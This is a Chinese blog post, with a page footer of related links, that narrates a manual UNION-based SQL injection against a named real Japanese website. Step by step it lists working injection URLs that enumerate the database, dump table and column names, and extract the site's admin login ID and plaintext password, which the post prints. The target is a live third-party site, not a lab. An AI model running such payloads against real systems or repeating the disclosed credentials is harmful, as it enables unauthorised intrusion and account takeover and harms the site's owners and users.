作者:ice   团队:www.anying.org 转载必须注明。

E-mail:1c30day@gmail.com
经过一天的辛苦劳动下班了,实在无聊,QQ上的基友基本都挂机睡觉了。找点乐子打发时间,看了一下2013年OWASP Top Ten Project, Injection排在第一。去了解注入,还是有必要的。
随便google了几个日本网站,发现不少都在注入点,有很多用手工都比较鸡肋,终于找到了一个比较满意的。

0X01 判断是否为注入点

http://henecia.jp/news/detail.php?nid=162’报错,显示MDB2 Error: syntax error
http://henecia.jp/news/detail.php?nid=162+and+1=1显示正常
http://henecia.jp/news/detail.php?nid=162+and+1=2显示异常
判断是注入点

0X02 判断数据库类型

         http://henecia.jp/news/detail.php?nid=162+and+user>0报错,显示MDB2 Error: no such field
         http://henecia.jp/news/detail.php?nid=162+and+version()>0显示正常
         判定是MYSQL数据库

0x03 猜解当前网页的字段数

         采用二分法,逐渐猜解。
       http://henecia.jp/news/detail.php?nid=162+order+by+9

        http://henecia.jp/news/detail.php?nid=162+order+by+10

Order by 9显示正常 ;order 10 显示不正常。说明字段数为9
0x04 爆出当前网页显示位
         http://henecia.jp/news/detail.php?nid=162+and+1=2+union+select+1,2,3,4,5,6,7,8,9–
         

显示位为2和3
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。URL后面添加 and+1=2 显示有报错信息,URL后面添加 select+1,2,3,4,5,6,7,8,9 显示正常的网页,使用UNION操作符将后者的显示信息覆盖掉前面报错的信息,这样就能清楚看到显示位了。
 

0x05 爆出数据库基本信息

         http://henecia.jp/news/detail.php?nid=162+and+1=2+union+select+1,concat(user(),0x20,database(),0x20,version()),3,4,5,6,7,8,9–
<ignore_js_op>
用户:henecia@localhost ,数据库名:henecia,数据库版本:5.1.56
可以在显位的位置插入的预设函数;
User() 查看用户  
database()  --查看数据库名称     
Version() --查看数据库版本   
@@datadir --数据库路径
@@version_compile_os--操作系统版本   
system_user() --系统用户名  
current_user()--当前用户名   
session_user()--连接数据库的用户名
         为了显示信息更方便,这里在构造sql查询语句中使用了concat函数,它连接一个或者多个字符串, 有任何一个参数为NULL ,则返回值为 NULL。还有group_concat()和concat_ws(),这些函数的功能不清楚,有必要去了解一下,这里我就不多说了。
0x06 爆出数据库名
         http://henecia.jp/news/detail.php?nid=162+and+1=2+union+select+1,group_concat(distinct+table_schema),3,4,5,6,7,8,9+from+information_schema.columns--

<ignore_js_op>

爆出数据库名:information_schema,henecia
information_schema数据库是在MYSQL的版本5.0之后产生的,一个虚拟数据库,物理上并不存在。nformation_schema数据库类似与“数据字典”,提供了访问数据库元数据的方式,即数据的数据。比如数据库名或表名,列类型,访问权限(更加细化的访问方式)。information_schema是一个由数据库的元数据组成的数据库。里面存储的是MYSQL的数据库基本信息。并随时改变。用于查看信息以及系统决策时作为重要的信息提供者。
MYSQL的版本5.0以上版本,我们借助information_schema数据库,来获取其他数据库的信息。用到了group_concat()函数,distinct参数起到了去掉重复显示的作用。
0x07 爆出当前数据库的表名
http://henecia.jp/news/detail.php?nid=162+and+1=2+union+select+1,group_concat(distinct+table_name),3,4,5,6,7,8,9+from+information_schema.tables+where+table_schema=database()--

显示的表名:
 
TM_ADMIN_MEMBER,TM_BANNER_MASTER,TM_BBS1_CATEGORY,TM_BBS1_COMMENT,TM_BLOG1_CATEGORY,TM_BLOG1_COMMENT,TM_BLOG1_MASTER,TM_EVENT_ORDER,TM_GOODSNEWS_MASTER,TM_MEMBER_MASTER,TM_MEMBER_MASTER2,TM_NEWS_MASTER,TM_PASS_MASTER,TM_PAYMENT_TRANS_HISTORY,TM_SCHEDULE_CATEGORY,TM_SCHEDULE_MASTER,TM_SITEID,T_RESEND_MEMBER,T_RESEND_MEMBER_CARDFIN,T_RESEND_
如果数据库表比较多,一般都使用使用limit n,1插到末尾,逐次爆出的数据(n为显示第n个)。
 
0x08 爆出表中的字段
http://henecia.jp/news/detail.php?nid=162+and+1=2+union+select+1,group_concat(distinct+column_name),3,4,5,6,7,8,9+from+information_schema.columns+where+table_name=0x544D5F41444D494E5F4D454D424552--

给table_name赋的值为TM_ADMIN_MEMBER的HEX(16进制)。
爆出了当前数据库的TM_ADMIN_MEMBER表中的字段:
admin_id,login_uid,login_pwd,level,is_status,create_date,update_date
 
0x09 爆出数据库表的数据
http://henecia.jp/news/detail.php?nid=162+and+1=2+union+select+1,group_concat(admin_id,0x2B,login_uid,0x2B,login_pwd),3,4,5,6,7,8,9+from+TM_ADMIN_MEMBER--
<ignore_js_op>

         爆出admin_id为1,login_uid为admin,login_pwd为osuktm12
文章到此完结,请多给建议和学习指导,谢

MYSQL手工注入某日本网站的更多相关文章

  1. MYSQL手工注入(详细步骤)—— 待补充

    0x00 SQL注入的分类: (1)基于从服务器接收到的响应         ▲基于错误的 SQL 注入         ▲联合查询的类型         ▲堆查询注射         ▲SQL 盲注 ...

  2. MySQL手工注入学习-1

    MySQL手工注入学习 SQLi-labs 手工注入学习 以下是通过SLQi-labs平台的部分简单例题的手工注入过程 Less-1:union联合查询注入 页面提示:Please input the ...

  3. 手工注入——MySQL手工注入实战和分析

    今天进行了MySQL手工注入实战,分享一下自己的实战过程和总结,这里环境使用的是墨者学院的在线靶场.话不多说,咱们直接开始. 第一步,判断注入点 通过 ' 和构造 and 1=1 和 and 1=2 ...

  4. MySQL手工注入进阶篇——突破过滤危险字符问题

    当我们在进行手工注入时,有时候会发现咱们构造的危险字符被过滤了,接下来,我就教大家如何解决这个问题.下面是我的实战过程.这里使用的是墨者学院的在线靶场.咱们直接开始. 第一步,判断注入点. 通过测试发 ...

  5. 记一次MySQL手工注入

    本来想找个装安全狗的站试下绕过,safe dog没找到,但随便一搜搜到一个小站有SQLi,正好借此机会复习下手工注入(新版Firefox我吐槽一下,hackbar这么好用的工具,说阉割就阉割,哎) 小 ...

  6. mysql手工注入

    以下是mynona本人原创的,奉献给大家,不要小看数据库注入 参考: http://www.daydaydata.com/help/sql/advance/limit.html http://www. ...

  7. mysql手工注入总结

    mysql -u 用户名 -p 密码 -h IP地址 show databases;   查看数据库 select version(); php注入的版本号 use database(表名): sho ...

  8. mysql手工注入步骤

    1.一般用 '  "  ) 等符号来闭合,再用%23(即#)来注释后面语句. 2.查找数据库,先用order by n猜字段,再用union select 1,2,3 ...n%23来查询. ...

  9. [MYSQL手工注入](3)基于报错的SQL注入实战

    0x03 MYSQL 手工注入实战--基于错误的 SQL 注入 今天如愿以偿的找到了基于错误的SQL注入环境了:是一个国外卖音响的小网站,还在建设中: 看一下报错信息: (1)确定闭合语句:从上面的报 ...

随机推荐

  1. Ubuntu 16.04下使用VMware安装CentOS 6.9然后在里面再安装KVM之后配置网桥无法上网的问题

    别试了,这个问题无法解决,已经使用VMware安装了一层虚拟机,然后在里面再安装KVM,网络层次已经变了,即使配置了网桥同样无法上网. 可是这样试一下,不一定成功:把VMware的虚拟机绑定另一张物理 ...

  2. Phpstorm-php在线手册配置

    php在线手册配置 第一个是浏览器软件位置 第二个是php网站写法 第三个是工作路径 C:\Users\hasee\AppData\Local\Google\Chrome\Application\ch ...

  3. 基于tiny4412的Linux内核移植 -- eMMC驱动移植(六)

    作者信息 作者: 彭东林 邮箱:pengdonglin137@163.com QQ:405728433 平台简介 开发板:tiny4412ADK + S700 + 4GB Flash 要移植的内核版本 ...

  4. appium+python自动化45-夜神模拟器连不上(adb server version (36) doesn't match this client (39); killing...)

    前言 最新下了个最新版的夜神模拟器,然后adb devices发现连不上模拟器了,报adb server version (36) doesn't match this client (39); ki ...

  5. activiti源码笔记对标的博客

    http://blog.csdn.net/bluejoe2000/article/category/2812511/2 白乔专栏 http://blog.csdn.net/bluejoe2000/ar ...

  6. Unity3d通用工具类之解压缩文件

    今天,我们来写写c#是如何通过代码解压缩文件的. 在游戏的项目中呢,常常我们需要运用到解压缩的技术.比如,当游戏需要更新的时候,我们会从服务器中下载更新的压缩文件包. 这时候我们就需要解压文件,然后覆 ...

  7. OpenCV支持向量机SVM对线性不可分数据的处理

    支持向量机对线性不可分数据的处理 目标 本文档尝试解答如下问题: 在训练数据线性不可分时,如何定义此情形下支持向量机的最优化问题. 如何设置 CvSVMParams 中的参数来解决此类问题. 动机 为 ...

  8. [Java]在窗口界面上画出硬盘中图片文件

    利用类javax.swing.JPanel来在窗口界面上画图.图片文件通过javax.imageio.ImageIO类来获取. import java.awt.Graphics; import jav ...

  9. CAS4.0.4 之自定义登录页实践

    因最近公司要用到cas登陆而且要使用自定登陆页面,网络上搜索了一下cas自定义登陆,比较好的两篇文章CAS 之自定义登录页实践和CAS 之 跨域 Ajax 登录实践,感觉写的不错,但是发现改动的地方很 ...

  10. DevExpress控件使用小结

    摘自: http://blog.sina.com.cn/s/blog_95cfa64601019wex.html .TextEditor(barEditItem)取文本 string editValu ...